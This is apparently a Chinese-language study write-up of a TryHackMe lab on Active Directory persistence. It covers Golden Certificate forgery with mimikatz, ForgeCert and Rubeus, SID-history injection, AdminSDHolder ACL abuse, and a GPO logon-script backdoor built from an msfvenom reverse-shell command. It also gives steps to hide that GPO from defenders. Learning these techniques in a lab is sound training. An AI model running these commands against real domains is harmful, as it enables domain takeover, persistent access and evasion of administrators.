利用凭证

收集用户的凭证将其用于获取权限

金银票

金银票

AD CS

ADCS

提取私钥

我们使用工具获取 CA 证书,并从中提取私钥:Golden Certificate

  1. za\administrator@DC C:\Users\Administrator.ZA\am0>C:\Tools\mimikatz_trunk\x64\mimikatz.exe
  2. .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
  3. .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
  4. ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  5. ## \ / ## > https://blog.gentilkiwi.com/mimikatz
  6. '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
  7. '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
  8. mimikatz # crypto::certificates /systemstore:local_machine
  9. * System Store : 'local_machine' (0x00020000)
  10. * Store : 'My'
  11. 0.
  12. Subject :
  13. Issuer : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
  14. Serial : 040000000000703a4d78090a0ab10400000010
  15. Algorithm: 1.2.840.113549.1.1.1 (RSA)
  16. Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PM
  17. Hash SHA1: d6a84e153fa326554f095be4255460d5a6ce2b39
  18. Key Container : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
  19. Provider : Microsoft RSA SChannel Cryptographic Provider
  20. Provider type : RSA_SCHANNEL (12)
  21. Type : AT_KEYEXCHANGE (0x00000001)
  22. |Provider name : Microsoft RSA SChannel Cryptographic Provider
  23. |Key Container : te-DomainControllerAuthentication-5ed52c94-34e8-4450-a751-a57ac55a110f
  24. |Unique name : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
  25. |Implementation: CRYPT_IMPL_SOFTWARE ;
  26. Algorithm : CALG_RSA_KEYX
  27. Key size : 2048 (0x00000800)
  28. Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
  29. Exportable key : NO
  30. mimikatz # privilege::debug
  31. Privilege '20' OK
  32. mimikatz # crypto::capi
  33. Local CryptoAPI RSA CSP patched
  34. Local CryptoAPI DSS CSP patched
  35. mimikatz # crypto::cng
  36. "KeyIso" service patched # 如果爆这个错误,我们需要修补服务
  37. mimikatz # crypto::certificates /systemstore:local_machine /export # 导出证书

导出证书将以 PFX 和 DER 格式存储到磁盘:

  1. za\administrator@THMDC C:\Users\Administrator.ZA\am0>dir
  2. Volume in drive C is Windows
  3. Volume Serial Number is 1634-22A9
  4. Directory of C:\Tools\x64
  5. 05/10/2022 12:12 PM <DIR> .
  6. 05/10/2022 12:12 PM <DIR> ..
  7. 05/10/2022 12:12 PM 1,423 local_machine_My_0_.der
  8. 05/10/2022 12:12 PM 3,299 local_machine_My_0_.pfx
  9. 05/10/2022 12:12 PM 939 local_machine_My_1_za-THMDC-CA.der
  10. 05/10/2022 12:12 PM 2,685 local_machine_My_1_za-THMDC-CA.pfx
  11. 05/10/2022 12:12 PM 1,534 local_machine_My_2_THMDC.za.tryhackme.loc.der
  12. 05/10/2022 12:12 PM 3,380 local_machine_My_2_THMDC.za.tryhackme.loc.pfx
  13. 05/10/2022 12:12 PM 1,465 local_machine_My_3_.der
  14. 05/10/2022 12:12 PM 3,321 local_machine_My_3_.pfx

证书 za-THMDC-CA.pfx 是我们特别感兴趣的,为了导出私钥,必须使用密码对证书进行加密。默认情况下,Mimikatz 分配的密码为 mimikatz

生成自己的证书

现在我们有了私钥和 CA 根证书,我们可以使用 GitHub - GhostPack/ForgeCert 来为我们想要的任何用户伪造客户端身份验证证书

  1. za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
  • CaCertPath - 我们导出的CA证书的路径
  • CaCertPassword - 用来加密证书的密码。默认情况下,Mimikatz分配的密码是 mimikatz
  • Subject - 证书的主题或通用名称。在我们将使用该证书的情况下,这并不重要
  • SubjectAltName - 这是我们想用该证书冒充的账户的用户主体名称(UPN)。它必须是一个合法的用户
  • NewCertPath - ForgeCert 存储生成的证书的路径
  • NewCertPassword - 由于证书将需要为认证目的而导出的私钥,我们必须设置一个用于加密的新密码
我们使用 Rubeus 证书来请求 TGT 以验证证书是否可信:
  1. za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101
  2. ______ _
  3. (_____ \ | |
  4. _____) )_ _| |__ _____ _ _ ___
  5. | __ /| | | | _ \| ___ | | | |/___)
  6. | | \ \| |_| | |_) ) ____| |_| |___ |
  7. |_| |_|____/|____/|_____)____/(___/
  8. v2.0.0
  9. [*] Action: Ask TGT
  10. [*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert
  11. [*] Building AS-REQ (w/ PKINIT preauth) for: 'za.tryhackme.loc\Administrator'
  12. [+] TGT request successful!
  13. [*] base64(ticket.kirbi):
  14. doIGADCCBfygAwIBBaEDAgEWooIE+jCCBPZhggTyMIIE7qADAgEFoREbD0xVTkFSLkVSVUNBLkNPTaIk
  15. MCKgAwIBAqEbMBkbBmtyYnRndBsPbHVuYXIuZXJ1Y2EuY29to4IErDCCBKigAwIBEqEDAgECooIEmgSC
  16. BJaqEcIY2IcGQKFNgPbDVY0ZXsEdeJAmAL2ARoESt1XvdKC5Y94GECr+FoxztaW2DVmTpou8g116F6mZ
  17. nSHYrZXEJc5Z84qMGEzEpa38zLGEdSyqIFL9/avtTHqBeqpR4kzY2B/ekqhkUvdb5jqapIK4MkKMd4D/
  18. MHLr5jqTv6Ze2nwTMAcImRpxE5HSxFKO7efZcz2glEk2mQptLtUq+kdFEhDozHMAuF/wAvCXiQEO8NkD
  19. zeyabnPAtE3Vca6vfmzVTJnLUKMIuYOi+7DgDHgBVbuXqorphZNl4L6o5NmviXNMYazDybaxKRvzwrSr
  20. 2Ud1MYmJcIsL3DMBa4bxR57Eb5FhOVD29xM+X+lswtWhUO9mUrVyEuHtfV7DUxA94OvX1QmCcas4LXQW
  21. ggOit/DCJdeyE8JjikZcR1yL4u7g+vwD+SLkusCZE08XDj6lopupt2Hl8j2QLR2ImOJjq54scOllW4lM
  22. Qek4yqKwP6p0oo4ICxusM8cPwPUxVcYdTCh+BczRTbpoKiFnI+0qOZDtgaJZ/neRdRktYhTsGL39VHB5
  23. i+kOk3CkcstLfdAP1ck4O+NywDMUK+PhGJM/7ykFe2zICIMaGYGnUDRrad3z8dpQWGPyTBgTvemwS3wW
  24. NuPbQFFaoyiDiJyXPh+VqivhTUX9st80ZJZWzpE7P1pTNPGq38/6NyLjiE9srbOt6hCLzUaOSMGH1Enf
  25. SYmNljeW2R0gsFWBaFt16AHfT9G9Et2nOCJn/D/OFePFyR4uJF44p82CmVlBhzOxnCaGtQM2v9lwBqQF
  26. CcVLjxGXqKrPUr1RUGthP861jhMoXD4jBJ/Q32CkgVdlJRMweqcIfNqP/4mEjbUN5qjNqejYdUb/b5xw
  27. S794AkaKHcLFvukd41VTm87VvDOp6mM5lID/PLtTCPUZ0zrEb01SNiCdB5IAfnV23vmqsOocis4uZklG
  28. CNdI1/lsICpS/jaK6NM/0oKehMg+h4VAFLx4HnTSY4ugbrkdxU948qxPEfok/P6umEuny7yTDQFoCUKk
  29. RuLXbtwwplYTGBDLfzwhcNX8kc/GGLbH9+B8zRXxhd3TGQ7ZT03r798AjobKx024ozt6g4gjS5k/yIT+
  30. f29XrPzc+UODunO2Qv8JM5NAE3L6ryHp/DdgTaXGBRccgQBeQERNz6wxkdVK6SB7juOjU5JoZ5ZfmTuO
  31. hQ5hnboH1GvMy4+zeU2P7foWEJE76i9uZMbjUilbWRERYUL/ZjjXQBVWBaxoAdFIoawAzSXUZniNavnS
  32. n22qqgbd79Zj+lRavAb7Wlk5Gul4G6LMkh2MIJ4JOnrV0JV1yOhoqZ5V6KX/2r7ecyrVZIf2Qf0+ci9G
  33. vboJiLvWKgXkx7VaKbcLhO743BNYyq57nPNvWhVt3jbFmEq4nTdNou6hQHG4O5hVMhBKGgTwYz3yFPOP
  34. iuxroniQawSUJbmwObxVeoculPhxEJ69MSgKROTXrKrQAJ84D5QJHQYZus6w+LtodZn1//ZLhgILeFsY
  35. 5K6d4ot2eqEr/A4Vu+wFjGjw87FTvHVcf8HdtGhqkawtPOrzo4HxMIHuoAMCAQCigeYEgeN9geAwgd2g
  36. gdowgdcwgdSgKzApoAMCARKhIgQgQr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVWhERsPTFVO
  37. QVIuRVJVQ0EuQ09NohcwFaADAgEBoQ4wDBsKc3ZjLmdpdGxhYqMHAwUAQOEAAKURGA8yMDIyMDIwNjE3
  38. NTQ0NlqmERgPMjAyMjAyMDcwMzU0NDZapxEYDzIwMjIwMjEzMTc1NDQ2WqgRGw9MVU5BUi5FUlVDQS5D
  39. T02pJDAioAMCAQKhGzAZGwZrcmJ0Z3QbD2x1bmFyLmVydWNhLmNvbQ=
  40. ServiceName : krbtgt/za.tryhackme.loc
  41. ServiceRealm : za.tryhackme.loc
  42. UserName : Administrator
  43. UserRealm : za.tryhackme.loc
  44. StartTime : 2/6/2022 5:54:46 PM
  45. EndTime : 2/7/2022 3:54:46 AM
  46. RenewTill : 2/13/2022 5:54:46 PM
  47. Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
  48. KeyType : aes256_cts_hmac_sha1
  49. Base64(key) : Qr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVU=
  50. ASREP (key) : BF2483247FA4CB89DA0417DFEC7FC57C79170BAB55497E0C45F19D976FD617ED
  • /user - 这指定了我们要冒充的用户,必须与我们生成的证书的UPN相匹配
  • /enctype -这指定了票据的加密类型。设置这个对于规避是很重要的,因为默认的加密算法很弱,这将导致过度的哈希警报
  • /certificate - 我们已经生成的证书的路径
  • /password -我们的证书文件的密码
  • /outfile - TGT将被输出到的文件
  • /domain - 我们当前正在攻击的域的 FQDN
  • /dc - 我们向其请求TGT的域控制器的IP。通常情况下,最好选择一个正在运行CA服务的DC
接下来我们使用 Mimikatz 加载 TGT 并向 THMDC 进行身份验证
  1. za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\mimikatz_trunk\x64\mimikatz.exe
  2. .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
  3. .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
  4. ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  5. ## \ / ## > https://blog.gentilkiwi.com/mimikatz
  6. '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
  7. '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
  8. mimikatz # kerberos::ptt administrator.kirbi
  9. * File: 'administrator.kirbi': OK
  10. mimikatz # exit
  11. Bye!
  12. za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\THMDC.za.tryhackme.loc\c$\
  13. Volume in drive \\THMDC.za.tryhackme.loc\c$ is Windows
  14. Volume Serial Number is 1634-22A9
  15. Directory of \\THMDC.za.tryhackme.loc\c$
  16. 01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
  17. 04/30/2022 10:24 AM 154 dns_entries.csv
  18. 04/27/2022 10:53 PM 885,468 MzIzMzViM2ItMmQ2Zi00YWQ3LWEwNjEtYjg2MmFjNzViY2Ix.bin
  19. 09/15/2018 08:19 AM <DIR> PerfLogs
  20. 03/21/2020 09:31 PM <DIR> Program Files
  21. 03/21/2020 09:28 PM <DIR> Program Files (x86)
  22. 04/27/2022 08:27 AM 1,423 thm-network-setup-dc.ps1
  23. 04/25/2022 07:13 PM <DIR> tmp
  24. 04/27/2022 08:22 AM <DIR> Users
  25. 04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
  26. 04/27/2022 08:12 PM <DIR> Windows
  27. 7 File(s) 2,356,811 bytes
  28. 7 Dir(s) 50,914,541,568 bytes free

SID History

SID

查看当前用户:

  1. za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>powershell
  2. Windows PowerShell
  3. Copyright (C) Microsoft Corporation. All rights reserved.
  4. PS C:\Users\Administrator.ZA> Get-ADUser <your ad username> -properties sidhistory,memberof
  5. DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
  6. Enabled : True
  7. GivenName : Aaron
  8. MemberOf : {CN=Internet Access,OU=Groups,DC=za,DC=tryhackme,DC=loc}
  9. Name : aaron.jones
  10. ObjectClass : user
  11. ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
  12. SamAccountName : aaron.jones
  13. SID : S-1-5-21-3885271727-2693558621-2658995185-1429
  14. SIDHistory : {}
  15. Surname : Jones
  16. UserPrincipalName

SIDHistory : {}注意这里为空

我们来查找一个用户组的 SID ,我们将会使用该 SID 作为我们填充的目标

  1. PS C:\Users\Administrator.ZA> Get-ADGroup "Domain Admins"
  2. DistinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=tryhackme,DC=loc
  3. GroupCategory : Security
  4. GroupScope : Global
  5. Name : Domain Admins
  6. ObjectClass : group
  7. ObjectGUID : 3a8e1409-c578-45d1-9bb7-e15138f1a922
  8. SamAccountName : Domain Admins
  9. SID : S-1-5-21-3885271727-2693558621-2658995185-512
我们可以使用 Mimikatz 之类的工具来添加 SID 历史记录。然而,最新版本的 Mimikatz 有一个缺陷,不允许它修补 LSASS 以更新 SID 历史记录。因此我们需要使用其他东西。在这种情况下,我们将使用GitHub - MichaelGrafnetter/DSInternals工具直接修补 ntds.dit 文件,即存储所有信息的AD数据库 shell PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit PS C:\Users\Administrator.ZA>Start-Service -Name ntds > 当 NTDS 服务运行时,NTDS 数据库被锁定。为了修补我们的 SID 历史,我们必须首先停止该服务。打补丁后必须重启NTDS服务,否则全网认证将失效 > 现在我们就已经将 SID 注入目标中
  1. PS C:\Users\aaron.jones> Get-ADUser aaron.jones -Properties sidhistory
  2. DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
  3. Enabled : True
  4. GivenName : Aaron
  5. Name : aaron.jones
  6. ObjectClass : user
  7. ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
  8. SamAccountName : aaron.jones
  9. SIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512}
  10. Surname : Jones
  11. UserPrincipalName :

验证:

  1. PS C:\Users\aaron.jones> dir \\thmdc.za.tryhackme.loc\c$
  2. Directory: \\thmdc.za.tryhackme.loc\c$
  3. Mode LastWriteTime Length Name
  4. ---- ------------- ------ ----
  5. d----- 9/15/2018 8:19 AM PerfLogs
  6. d-r--- 5/11/2022 10:32 AM Program Files
  7. d----- 3/21/2020 8:28 PM Program Files (x86)
  8. d----- 4/25/2022 7:13 PM tmp
  9. da---- 5/11/2022 10:11 AM Tools
  10. d-r--- 4/27/2022 8:22 AM Users
  11. d----l 4/25/2022 7:11 PM vagrant
  12. d----- 4/27/2022 8:12 PM Windows
  13. -a---- 1/4/2022 7:47 AM 103 delete-vagrant-user.ps1
  14. -a---- 5/1/2022 9:11 AM 169 dns_entries.csv
  15. -a---- 5/1/2022 9:17 AM 1725 thm-network-setup-dc.ps1

利用组成员

:::info 嵌套组:

嵌套组可以理解为 组中组,比如: IT 支持组 中可能有 服务台、门禁卡管理员和网络管理员等等组,这些子组中的所有用户提供与 IT 支持组关联的权限和特权,但我们随后可以为每个子组分配更精细的权限和特权

:::

  1. - Domain Admins
  2. - ls_nestgroup5
  3. - ls_nestgroup4
  4. - ls_nestgroup3
  5. - ls_nestgroup2
  6. - ls_nestgroup1

现在我们将我们的低权限 AD 用户添加到我们创建的组中:

  1. 终端
  2. PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "ls_nestgroup1" -Members "aaron.jones"

现在我们用户就具有了 THMDC 权限:

  1. za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\thmdc.za.tryhackme.loc\c$\
  2. Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
  3. Volume Serial Number is 1634-22A9
  4. Directory of \\thmdc.za.tryhackme.loc\c$
  5. 01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
  6. 05/01/2022 09:11 AM 169 dns_entries.csv
  7. 09/15/2018 08:19 AM <DIR> PerfLogs
  8. 05/11/2022 10:32 AM <DIR> Program Files
  9. 03/21/2020 09:28 PM <DIR> Program Files (x86)
  10. 05/01/2022 09:17 AM 1,725 thm-network-setup-dc.ps1
  11. 04/25/2022 07:13 PM <DIR> tmp
  12. 05/15/2022 09:16 PM <DIR> Tools
  13. 04/27/2022 08:22 AM <DIR> Users
  14. 04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
  15. 04/27/2022 08:12 PM <DIR> Windows
  16. 3 File(s) 1,997 bytes
  17. 8 Dir(s) 51,573,755,904 bytes free

ACL

:::info AD 中会使用一种 组模板 技术,来对 ACL 进行控制,我们可以将我们的控制的账户添加到我们模板中,这样我们只需要等待模板刷新,我们就又可以获得权限。

AdminSDHolder 容器就是这样一种模板,这个容器存在于每个 AD 域中,它的 ACL 被用作模板来复制权限到所有受保护的组。 名为 <font style="color:rgb(33, 37, 41);">SDProp</font> 的进程获取 AdminSDHolder 容器的 ACL,并每 60 分钟将其应用于所有受保护的组。因此,我们可以编写一个 ACE,授予我们对所有受保护组的完全权限。

:::

利用

为了将我们的持久性部署到 AdminSDHolder,我们将使用 Microsoft 管理控制台 (MMC)。为了避免将用户踢出他们的RDP会话,最好使用您的低特权凭据将 RDP 连接到 THMWRK1,使用 runas 命令注入管理员凭据,然后从这个新终端执行 MMC:
  1. runas /netonly /user:Administrator cmd.exe
添加用户和组管理单元 (File->Add Snap-In->Active Directory Users and Groups). 确保启用高级功能(View->Advanced Features). 我们可以在 Domain->System 发现 AdminSDHolder 组

权限维持 - 图1

导航到组的安全性 (Right-click->Properties->Security):

权限维持 - 图2

  1. Click Add.
  2. Search for your low-privileged username and click Check Names.
  3. Click OK.
  4. Click Allow on Full Control.
  5. Click Apply.
  6. Click OK.
最后结果:

权限维持 - 图3

SDProp

:::info 现在我们只需要的等待 60 分钟,我们的用户就可以完全控制所有受保护的组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组,但是我们可以使用 Invoke-ADSDPropagation.ps1来帮助我们加快这一脚步

GitHub - edemilliere/ADSI: Active Directory Searcher helper

:::

  1. PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1
  2. PS C:\Tools> Invoke-ADSDPropagation

完成后,我们查看权限:

权限维持 - 图4

可以看出,我们的低权限用户可以完全控制该组。您可以通过从安全权限中删除您的用户并重新运行PowerShell脚本来验证这是否会继续传播。您的用户将被再次添加。有意思的是,虽然我们有修改组的权限,但是它并没有自动把我们加到组中:

权限维持 - 图5

GPO

GPO

:::info 常见的 GPO 持久化技术:

  • Restricted Group Membership - 这可以让我们对域内的所有主机进行管理访问 GPO
  • Logon Script Deployment - 这将确保每次用户认证到域中的主机时,我们都能得到一个shell回调

:::

我们将关注第二个利用方法,第一个利用方法位于 链接处

准备

创建我们的 SHELL 文件:

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > JTZ_shell.exe

创建完成后,我们再创建一个 bat 文件,以允许我们的 SHELL 程序:

  1. copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\JTZ_shell.exe C:\tmp\JTZ_shell.exe && timeout /t 20 && C:\tmp\JTZ_shell.exe

现在我们将 exe 和 bat 程序传输到目标 SYSVOL 目录中,并启动监听器

创建 CPO

打开 MMC 控制台,(File —> Add/Remove Snap-in… —> Group Policy Management ),然后就会打开 GPO 管理器

权限维持 - 图6

我们编写一个用于所有管理员的 GPO,因此我们将在 Admins OU 处创建一个 GPO ,并将其链接到此处

权限维持 - 图7

右键单击您的策略并选择强制执行。这将确保您的政策适用,即使存在冲突政策。这有助于确保我们的GPO优先:

权限维持 - 图8

现在我们应该编辑我们的策略了 (User Configuration —> Policies —> Windows Settings —> Scripts(Logon/Logoff) —> 选择脚本并添加 ),我们选择我们的恶意脚本: JTZ_scripts.bat 然后确定即可,这样当每一个管理员登陆到任何机器我们都会收到一个 SHELL。

深入隐藏

打开 MMC 窗口名,(Management —> Delegation)

权限维持 - 图9

默认情况下,所有管理员都可以编辑 GPO :

  1. 右键 **<font style="color:rgb(33, 37, 41);">ENTERPRISE DOMAIN CONTROLLERS</font>** 选择 **<font style="color:rgb(33, 37, 41);">Edit settings, delete, modify security</font>**
  2. 单击所有其他组 (Authenticated Users 除外) ,然后单击 Remove
最后效果:

权限维持 - 图10

点击 Advanced 并从 权限中删除 <font style="color:rgb(33, 37, 41);"> Created Owner</font>:

权限维持 - 图11

默认情况下,所有经过身份验证的用户都必须能够阅读策略。这是必需的,因为否则,当用户进行身份验证以应用用户策略时,用户的帐户无法读取该策略。如果我们没有登录脚本,我们也可以删除此权限以确保几乎没有人能够阅读我们的政策。 我们可以用域计算机替换经过身份验证的用户,以确保计算机仍然可以读取和应用策略,但阻止任何用户读取策略。我们这样做是为了测试,但请记住,这可能会导致您在身份验证时无法获得 shell 回调,因为用户将无法读取 PowerShell 脚本因此请确保在执行这些步骤之前测试您的 shell
  1. Click Add.
  2. Type Domain Computers, click Check Names and then OK.
  3. Select Read permissions and click OK.
  4. Click on Authenticated Users and click Remove.
执行这些步骤后,您将收到一条错误消息,提示您无法再阅读自己的政策:

权限维持 - 图12

还可以在侧边栏上看到我们无法再阅读此政策:

权限维持 - 图13

通过执行这些步骤,我们可以确保即使拥有最高级别的权限,蓝队也无法删除我们的GPO,除非他们模拟域控制器的机器帐户。这使得首次发现变得格外困难,即使他们发现了 GPO,也很难将其删除。我们甚至不再拥有与我们的政策交互所需的权限,因此在执行网络重置之前,人们将不得不留在那里。您可以通过 RDPing 验证 GPO 是否仍然应用到其中一个 THMSERVERS。

参考

还有几个利用方式

TryHackMe | Cyber Security Training